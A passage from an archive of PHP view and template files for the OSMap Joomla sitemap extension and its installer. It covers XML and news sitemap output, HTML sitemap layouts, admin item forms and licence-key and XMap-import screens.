$node->parentIsVisibleForRobots && $node->visibleForXML && $node->isInternal && trim($node->fullLink) != '' && $node->hasCompatibleLanguage(); /** @var DateTime $publicationDate */ $publicationDate = $this->isNewsPublication($node); if ($display && $publicationDate) { echo '<url>'; echo sprintf('<loc><![CDATA[%s]]></loc>', $node->fullLink); echo '<news:news>'; echo '<news:publication>'; echo ($publicationName = $this->params->get('news_publication_name', '')) ? '<news:name><![CDATA[' . $publicationName . ']]></news:name>' : '<news:name/>'; if (empty($node->language) || $node->language == '*') { $node->language = $this->language; } echo '<news:language>' . $node->language . '</news:language>'; echo '</news:publication>'; echo '<news:publication_date>' . $publicationDate->format('Y-m-d\TH:i:s\Z') . '</news:publication_date>'; echo '<news:title><![CDATA[' . $node->name . ']]></news:title>'; if (!empty($node->keywords)) { echo '<news:keywords><![CDATA[' . $node->keywords . ']]></news:keywords>'; } echo '</news:news>'; echo '</url>'; } return $display; }; echo $this->addStylesheet(); $attribs = [ 'xmlns' => 'http://www.sitemaps.org/schemas/sitemap/0.9', 'xmlns:news' => 'http://www.google.com/schemas/sitemap-news/0.9' ]; echo sprintf($debug . '<urlset %s>' . $debug, ArrayHelper::toString($attribs)); $this->sitemap->traverse($printNodeCallback); echo '</urlset>'; xml/view.html.php 0000604 00000002205 15172671417 0010000 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ defined('_JEXEC') or die(); /* * Having a view.html.php file allows adding a .xml suffix to * the url, if the sitemap is attached to a menu entry */ require_once __DIR__ . '/view.xml.php'; xml/view.xml.php 0000604 00000011675 15172671417 0007647 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\Factory; use Alledia\OSMap\Helper\General; use Alledia\OSMap\Sitemap\Item; use Alledia\OSMap\Sitemap\Standard; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects defined('_JEXEC') or die(); // phpcs:enable PSR1.Files.SideEffects // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace class OsmapViewXml extends HtmlView { /** * @var SiteApplication */ protected $app = null; /** * @var string */ protected $type = null; /** * @var Registry */ protected $params = null; /** * @var Registry */ protected $osmapParams = null; /** * @var Standard */ protected $sitemap = null; /** * @var string */ protected $language = null; /** * @var DateTime */ protected $newsCutoff = null; /** * @var int */ protected $newsLimit = 1000; /** * @inheritDoc * @throws Exception */ public function __construct($config = []) { parent::__construct($config); $this->app = Factory::getApplication(); } /** * @inheritDoc */ public function display($tpl = null) { $document = $this->app->getDocument(); if ($document->getType() != 'xml') { // There are ways to get here with a non-xml document, so we have to redirect $uri = Uri::getInstance(); $uri->setVar('format', 'xml'); $this->app->redirect($uri); // Not strictly necessary, but makes the point :) return; } $this->type = General::getSitemapTypeFromInput(); $this->sitemap = Factory::getSitemap($this->app->input->getInt('id'), $this->type); if (!$this->sitemap->isPublished) { throw new Exception(Text::_('COM_OSMAP_MSG_SITEMAP_IS_UNPUBLISHED'), 404); } $this->params = $this->app->getParams(); $this->osmapParams = ComponentHelper::getParams('com_osmap'); $this->language = $document->getLanguage(); $this->newsCutoff = new DateTime('-' . $this->sitemap->newsDateLimit . ' days'); if ($this->params->get('debug', 0)) { $document->setMimeEncoding('text/plain'); } parent::display($tpl); } /** * @return string */ protected function addStylesheet(): string { if ($this->params->get('add_styling', 1)) { $query = [ 'option' => 'com_osmap', 'view' => 'xsl', 'format' => 'xsl', 'layout' => $this->type, 'id' => $this->sitemap->id, ]; if ($itemId = $this->app->input->getInt('Itemid')) { $query['Itemid'] = $itemId; } return sprintf( '<?xml-stylesheet type="text/xsl" href="%s"?>', Route::_('index.php?' . http_build_query($query)) ); } return ''; } /** * @param Item $node * * @return ?DateTime */ protected function isNewsPublication(Item $node): ?DateTime { try { $publicationDate = ( !empty($node->publishUp) && $node->publishUp != Factory::getDbo()->getNullDate() && $node->publishUp != -1 ) ? $node->publishUp : null; if ($publicationDate) { $publicationDate = new DateTime($publicationDate); if ($this->newsCutoff <= $publicationDate) { $this->newsLimit--; if ($this->newsLimit >= 0) { return $publicationDate; } } } } catch (Throwable $error) { // Don't care } return null; } } html/view.html.php 0000604 00000002310 15172671417 0010141 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\View\Site\AbstractList; // phpcs:disable PSR1.Files.SideEffects defined('_JEXEC') or die(); // phpcs:enable PSR1.Files.SideEffects // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace class OSMapViewHtml extends AbstractList { } html/tmpl/default.php 0000604 00000004604 15172671417 0010634 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\Factory; use Joomla\CMS\HTML\HTMLHelper; defined('_JEXEC') or die(); if ($this->params->get('use_css', 1)) : HTMLHelper::_('stylesheet', 'com_osmap/sitemap_html.min.css', ['relative' => true]); endif; if ($this->debug) : Factory::getApplication()->input->set('tmpl', 'component'); HTMLHelper::_('stylesheet', 'com_osmap/sitemap_html_debug.min.css', ['relative' => true]); endif; if ($this->params->get('menu_text') !== null) : // We have a menu, so let's use its params to display the heading $pageHeading = $this->params->get('page_heading', $this->params->get('page_title')); else : // We don't have a menu, so lets use the sitemap name $pageHeading = $this->sitemap->name; endif; $class = join(' ', array_filter([ 'osmap-sitemap', $this->debug ? 'osmap-debug' : '', $this->params->get('pageclass_sfx', '') ])); ?> <div id="osmap" class="<?php echo $class; ?>"> <!-- Heading --> <?php if ($this->params->get('show_page_heading', 1)) : ?> <div class="page-header"> <h1><?php echo $this->escape($pageHeading); ?></h1> </div> <?php endif; ?> <!-- Description --> <?php if ($this->params->get('show_sitemap_description', 1)) : ?> <div class="osmap-sitemap-description"> <?php echo $this->params->get('sitemap_description', ''); ?> </div> <?php endif; ?> <!-- Items --> <?php echo $this->loadTemplate('items'); ?> </div> html/tmpl/default.xml 0000604 00000005572 15172671417 0010652 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <metadata> <layout title="COM_OSMAP_SITEMAP_HTML_VIEW_DEFAULT_TITLE"> <message> <![CDATA[COM_OSMAP_SITEMAP_HTML_VIEW_DEFAULT_DESC]]> </message> </layout> <fields name="request"> <fieldset name="request" addfieldpath="/administrator/components/com_osmap/form/fields"> <field name="id" type="osmap.sitemaps" required="true" label="COM_OSMAP_SITEMAP"/> </fieldset> </fields> <fields name="params"> <fieldset name="basic" label="COM_OSMAP_FIELDSET_SITEMAP_SETTINGS_LABEL"> <field name="debug" type="radio" class="btn-group btn-group-yesno" layout="joomla.form.field.radio.switcher" label="COM_OSMAP_OPTION_DEBUG_LABEL" description="COM_OSMAP_OPTION_DEBUG_DESC" default="0"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="use_css" type="radio" class="btn-group btn-group-yesno" layout="joomla.form.field.radio.switcher" label="COM_OSMAP_OPTION_USE_CSS_LABEL" description="COM_OSMAP_OPTION_USE_CSS_DESC" default="1"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="show_menu_titles" type="radio" class="btn-group btn-group-yesno" layout="joomla.form.field.radio.switcher" label="COM_OSMAP_OPTION_SHOW_MENU_TITLES_LABEL" description="COM_OSMAP_OPTION_SHOW_MENU_TITLES_DESC" default="1"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="show_sitemap_description" type="radio" class="btn-group btn-group-yesno" layout="joomla.form.field.radio.switcher" label="COM_OSMAP_SHOW_SITEMAP_DESCRIPTION_LABEL" description="COM_OSMAP_SHOW_SITEMAP_DESCRIPTION_DESC" default="0"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="sitemap_description" type="editor" label="COM_OSMAP_SITEMAP_DESCRIPTION_LABEL" description="COM_OSMAP_SITEMAP_DESCRIPTION_DESC" buttons="true" hide="pagebreak,readmore" filter="safehtml" showon="show_sitemap_description:1"/> </fieldset> </fields> </metadata> html/tmpl/default_items.php 0000604 00000003220 15172671417 0012026 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Joomla\CMS\Language\Text; defined('_JEXEC') or die(); if ($this->debug) : ?> <div class="osmap-debug-sitemap"> <h1><?php echo Text::_('COM_OSMAP_DEBUG_ALERT_TITLE'); ?></h1> <p><?php echo Text::_('COM_OSMAP_DEBUG_ALERT'); ?></p> <?php echo Text::_('COM_OSMAP_SITEMAP_ID'); ?>: <?php echo $this->sitemap->id; ?> </div> <?php endif; ?> <div class="osmap-items"> <?php $this->sitemap->traverse([$this, 'registerNodeIntoList']); ?> <?php $this->renderSitemap(); ?> </div> <?php if ($this->debug) : ?> <div class="osmap-debug-items-count"> <?php echo Text::_('COM_OSMAP_SITEMAP_ITEMS_COUNT'); ?>: <?php echo $this->generalCounter; ?> </div> <?php endif; ?> sitemapitems/tmpl/default.j3.php 0000604 00000004754 15172725277 0012721 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; defined('_JEXEC') or die(); HTMLHelper::_('bootstrap.tooltip'); HTMLHelper::_('behavior.core'); HTMLHelper::_('behavior.keepalive'); HTMLHelper::_('formbehavior.chosen', 'select'); $sitemapId = (int)$this->sitemap->id; ?> <h1> <?php echo Text::sprintf('COM_OSMAP_SITEMAPITEMS_HEADING', $this->escape($this->sitemap->name)); ?> </h1> <form action="<?php echo Route::_('index.php?option=com_osmap&view=sitemapitems&id=' . $sitemapId); ?>" method="post" name="adminForm" id="adminForm" class="form-validate"> <div class="row-fluid"> <div class="span12"> <div id="osmap-items-container"> <div class="osmap-loading"> <span class="icon-loop spin"></span> <?php echo Text::_('COM_OSMAP_LOADING'); ?> </div> <div id="osmap-items-list"></div> </div> </div> </div> <input type="hidden" id="menus_ordering" name="jform[menus_ordering]" value=""/> <input type="hidden" name="task" value=""/> <input type="hidden" name="id" value="<?php echo $sitemapId; ?>"/> <input type="hidden" name="update-data" id="update-data" value=""/> <input type="hidden" name="language" value="<?php echo $this->language; ?>"/> <?php echo HTMLHelper::_('form.token'); ?> </form> <?php echo $this->loadTemplate('script'); sitemapitems/tmpl/default.php 0000604 00000004674 15172725277 0012407 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; defined('_JEXEC') or die(); HTMLHelper::_('bootstrap.tooltip'); HTMLHelper::_('behavior.core'); HTMLHelper::_('behavior.keepalive'); $sitemapId = (int)$this->sitemap->id; ?> <h1> <?php echo Text::sprintf('COM_OSMAP_SITEMAPITEMS_HEADING', $this->escape($this->sitemap->name)); ?> </h1> <form action="<?php echo Route::_('index.php?option=com_osmap&view=sitemapitems&id=' . $sitemapId); ?>" method="post" name="adminForm" id="adminForm" class="form-validate"> <div class="row-fluid"> <div class="col-12"> <div id="osmap-items-container"> <div class="osmap-loading"> <span class="icon-loop spin"></span> <?php echo Text::_('COM_OSMAP_LOADING'); ?> </div> <div id="osmap-items-list"></div> </div> </div> </div> <input type="hidden" id="menus_ordering" name="jform[menus_ordering]" value=""/> <input type="hidden" name="task" value=""/> <input type="hidden" name="id" value="<?php echo $sitemapId; ?>"/> <input type="hidden" name="update-data" id="update-data" value=""/> <input type="hidden" name="language" value="<?php echo $this->language; ?>"/> <?php echo HTMLHelper::_('form.token'); ?> </form> <?php echo $this->loadTemplate('script'); sitemapitems/tmpl/default_script.php 0000604 00000003565 15172725277 0013771 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2023-2025 Joomlashack.com. All rights reserved * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; defined('_JEXEC') or die(); HTMLHelper::_('jquery.framework'); HTMLHelper::_('script', 'com_osmap/sitemapitems.min.js', ['relative' => true]); $jsOptions = json_encode([ 'baseUri' => Factory::getPimpleContainer()->uri::root(), 'sitemapId' => (int)$this->sitemap->id, 'container' => '#osmap-items-list', 'language' => $this->language, 'frequencies' => HTMLHelper::_('osmap.frequencyList'), 'priorities' => HTMLHelper::_('osmap.priorityList'), ]); $jTexts = [ 'COM_OSMAP_HOURLY', 'COM_OSMAP_DAILY', 'COM_OSMAP_WEEKLY', 'COM_OSMAP_MONTHLY', 'COM_OSMAP_YEARLY', 'COM_OSMAP_NEVER', 'COM_OSMAP_TOOLTIP_CLICK_TO_UNPUBLISH', 'COM_OSMAP_TOOLTIP_CLICK_TO_PUBLISH', ]; foreach ($jTexts as $jText) { Text::script($jText); } Factory::getApplication()->getDocument()->addScriptDeclaration( ";jQuery(document).ready(function($) { new $.osmap.sitemapItems({$jsOptions}); });" ); sitemapitems/view.html.php 0000604 00000004151 15172725277 0011712 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\OSMap\Factory; use Alledia\OSMap\Sitemap\Standard; use Alledia\OSMap\View\Admin\AbstractList; use Joomla\CMS\Toolbar\ToolbarHelper; // phpcs:disable PSR1.Files.SideEffects defined('_JEXEC') or die(); // phpcs:enable PSR1.Files.SideEffects // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace class OSMapViewSitemapItems extends AbstractList { /** * @var Standard */ protected $sitemap = null; /** * @var string */ protected $language = null; /** * @inheritDoc */ public function display($tpl = null) { $sitemapId = $this->app->input->getInt('id', 0); $this->sitemap = Factory::getSitemap($sitemapId); $this->language = $this->app->input->get('lang', ''); $this->setToolBar(); parent::display($tpl); } /** * @inheritDoc */ protected function setToolBar($addDivider = true) { $this->setTitle('COM_OSMAP_PAGE_VIEW_SITEMAP_ITEMS'); ToolbarHelper::apply('sitemapitems.apply'); ToolbarHelper::save('sitemapitems.save'); ToolbarHelper::cancel('sitemapitems.cancel'); parent::setToolBar(); } } installer/tmpl/default.php 0000604 00000003564 15172725277 0011675 0 ustar 00 <?php /** * @package ShackInstaller * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2016-2023 Joomlashack.com. All rights reserved * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of ShackInstaller. * * ShackInstaller is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * ShackInstaller is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with ShackInstaller. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\Installer\AbstractScript; use Alledia\Installer\Extension\Generic; use Alledia\Installer\Extension\Licensed; defined('_JEXEC') or die(); /** * @var AbstractScript $this * @var string $type * @var Licensed $license * @var string $name * @var string $configPath * @var string $customFooterPath * @var string $extensionPath * @var Generic $licensesManagerExtension * @var string $string * @var string $path */ ?> <div class="joomlashack-wrapper"> <div class="joomlashack-content"> <h2><?php echo $this->welcomeMessage; ?></h2> <?php if (is_file(__DIR__ . '/default_custom.php')) : include __DIR__ . '/default_custom.php'; endif; if ($license->isPro()) : include __DIR__ . '/default_license.php'; endif; include __DIR__ . "/default_info.php"; ?> <?php echo $this->footer; ?> </div> </div> installer/tmpl/default_custom.php 0000604 00000010635 15172725277 0013264 0 ustar 00 <?php /** * @package OSMap * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved. * @copyright 2016-2025 Joomlashack.com. All rights reserved. * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of OSMap. * * OSMap is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * OSMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OSMap. If not, see <https://www.gnu.org/licenses/>. */ // No direct access use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; defined('_JEXEC') or die(); if ($this->isXmapDataFound) : $updateLink = Route::_('index.php?option=com_osmap&task=sitemaps.migrateXMapData&format=json'); ?> <div class="alledia-xmap-import"> <div id="alledia-installer-xmap-import-message"> <div id="alledia-installer-xmap-import-wipe-warning" class="alert alert-warning"> <h4 class="alert-heading"><?php echo Text::_('COM_OSMAP_INSTALLER_IMPORT_XMAP_TITLE'); ?></h4> <p><?php echo Text::_('COM_OSMAP_INSTALLER_IMPORT_XMAP_DESCRIPTION'); ?></p> <p> <strong><?php echo Text::_('COM_OSMAP_INSTALLER_IMPORT_XMAP_WIPE_WARNING'); ?></strong> </p> <a href="javascript:void(0);" id="alledia-installer-xmap-import-button" class="alledia-button"> <?php echo Text::_('COM_OSMAP_INSTALLER_IMPORT_XMAP_BUTTON'); ?> </a> </div> </div> <div id="alledia-installer-xmap-import-success" class="alert alert-success" style="display: none"> <p> <?php echo Text::_('COM_OSMAP_INSTALLER_IMPORT_XMAP_SUCCESS'); ?> </p> </div> <div id="alledia-installer-xmap-import-error" class="alert alert-error" style="display: none"> <p> <?php echo Text::_('COM_OSMAP_INSTALLER_IMPORT_XMAP_ERROR'); ?> </p> </div> </div> <script> (function($) { $(function() { let button = $('#alledia-installer-xmap-import-button'), message = $('#alledia-installer-xmap-import-message'), title = $('.alledia-xmap-import > h4.warning'); let showError = function() { $('#alledia-installer-xmap-import-error').show(); title.hide(); }; let showSuccess = function() { $('#alledia-installer-xmap-import-success').show(); title.hide(); }; button.on('click', function() { let goAhead = confirm('<?php echo Text::_('COM_OSMAP_INSTALLER_WIPE_CONFIRMATION'); ?>'); if (goAhead) { button.text('<?php echo Text::_('COM_OSMAP_INSTALLER_IMPORTING'); ?>') .off('click', this) .css('cursor', 'default'); {}, $.post('<?php echo $updateLink; ?>', function(data) { message.hide(); try { let result = JSON.parse(data); if (result.success) { showSuccess(); } else { showError(); } } catch (e) { showError(); } }, 'text' ).fail(function() { message.hide(); showError(); }); } }); }); })(jQuery); </script> <?php endif; installer/tmpl/default_license.php 0000604 00000014241 15172725277 0013371 0 ustar 00 <?php /** * @package ShackInstaller * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2016-2023 Joomlashack.com. All rights reserved * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of ShackInstaller. * * ShackInstaller is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * ShackInstaller is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with ShackInstaller. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\Installer\AbstractScript; use Alledia\Installer\Extension\Generic; use Alledia\Installer\Extension\Licensed; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; defined('_JEXEC') or die(); /** * @var AbstractScript $this * @var string $type * @var Licensed $license * @var string $name * @var string $configPath * @var string $customFooterPath * @var string $extensionPath * @var Generic $licensesManagerExtension * @var string $string * @var string $path */ $licenseUpdate = Uri::root() . '/administrator/index.php?plugin=system_osmylicensesmanager&task=license.save'; if ($this->isLicensesManagerInstalled) : ?> <div class="joomlashack-license-form"> <?php if (!empty($this->licenseKey)) : ?> <a href="" class="joomlashack-installer-change-license-button btn btn-success"> <?php echo Text::_('LIB_SHACKINSTALLER_CHANGE_LICENSE_KEY'); ?> </a> <?php endif; ?> <div id="joomlashack-installer-license-panel"> <input type="text" name="joomlashack-license-keys" id="joomlashack-license-keys" value="<?php echo $this->licenseKey; ?>" class="form-control" placeholder="<?php echo Text::_('LIB_SHACKINSTALLER_LICENSE_KEYS_PLACEHOLDER'); ?>"/> <p class="joomlashack-empty-key-msg"> <?php echo Text::_('LIB_SHACKINSTALLER_MSG_LICENSE_KEYS_EMPTY'); ?> <a href="https://www.joomlashack.com/account/key/" target="_blank"> <?php echo Text::_('LIB_SHACKINSTALLER_I_DONT_REMEMBER_MY_KEY'); ?> </a> </p> <a id="joomlashack-license-save-button" class="btn btn-success" href="#"> <?php echo Text::_('LIB_SHACKINSTALLER_SAVE_LICENSE_KEY'); ?> </a> </div> <div id="joomlashack-installer-license-success" style="display: none"> <p><?php echo Text::_('LIB_SHACKINSTALLER_LICENSE_KEY_SUCCESS'); ?></p> </div> <div id="joomlashack-installer-license-error" style="display: none"> <p><?php echo Text::_('LIB_SHACKINSTALLER_LICENSE_KEY_ERROR'); ?></p> </div> </div> <script> (function() { let panel = document.getElementById('joomlashack-installer-license-panel'), updateButtons = document.getElementsByClassName('joomlashack-installer-change-license-button'), saveButton = document.getElementById('joomlashack-license-save-button'); if (panel) { if (updateButtons.length > 0) { panel.style.display = 'none'; Array.from(updateButtons).forEach(function(button) { button.addEventListener('click', function(event) { event.preventDefault(); panel.style.display = 'block'; this.style.display = 'none'; }) }); } if (saveButton) { saveButton.addEventListener('click', function(event) { event.preventDefault(); let request = new XMLHttpRequest(), data = new FormData(), keyField = document.getElementById('joomlashack-license-keys') data.append('license-keys', keyField.value) request.onreadystatechange = function(data) { if (this.readyState === XMLHttpRequest.DONE) { try { if (this.status === 200) { let result = JSON.parse(this.response), success = document.getElementById('joomlashack-installer-license-success'), error = document.getElementById('joomlashack-installer-license-error'); panel.style.display = 'none'; if (result.success) { success.style.display = 'block'; } else { error.style.display = 'block'; } } else { error.style.display = 'block'; } } catch (e) { panel.style.display = 'none'; error.style.display = 'block'; } } }; request.open('POST', '<?php echo $licenseUpdate; ?>'); request.send(data); }); } } })(); </script> <?php else : ?> <div class="error"> <?php echo Text::_('LIB_SHACKINSTALLER_LICENSE_KEYS_MANAGER_REQUIRED'); ?> </div> <?php endif; installer/tmpl/default_info.php 0000604 00000007710 15172725277 0012705 0 ustar 00 <?php /** * @package ShackInstaller * @contact www.joomlashack.com, help@joomlashack.com * @copyright 2016-2023 Joomlashack.com. All rights reserved * @license https://www.gnu.org/licenses/gpl.html GNU/GPL * * This file is part of ShackInstaller. * * ShackInstaller is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * ShackInstaller is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with ShackInstaller. If not, see <https://www.gnu.org/licenses/>. */ use Alledia\Installer\AbstractScript; use Alledia\Installer\Extension\Generic; use Alledia\Installer\Extension\Licensed; use Joomla\CMS\Language\Text; defined('_JEXEC') or die(); /** * @var AbstractScript $this * @var string $type * @var Licensed $license * @var string $name * @var string $configPath * @var string $customFooterPath * @var string $extensionPath * @var Generic $licensesManagerExtension * @var string $string * @var string $path */ ?> <div class="joomlashack-details-container"> <a href="javascript:void(0);" id="joomlashack-installer-footer-toggler"> <?php echo Text::_('LIB_SHACKINSTALLER_SHOW_DETAILS'); ?> </a> <div id="joomlashack-installer-footer" style="display: none;"> <div class="joomlashack-license"> <?php echo Text::sprintf('LIB_SHACKINSTALLER_RELEASE_V', (string)$this->manifest->version); ?> </div> <br> <?php if (!empty($this->manifest->alledia->relatedExtensions)) : ?> <table class="joomlashack-related-table"> <thead> <tr> <th colspan="2"><?php echo Text::_('LIB_SHACKINSTALLER_RELATED_EXTENSIONS'); ?></th> </tr> </thead> <tbody> <?php foreach ($this->relatedExtensionFeedback as $data) : ?> <tr> <td><?php echo Text::_($data['name']); ?></td> 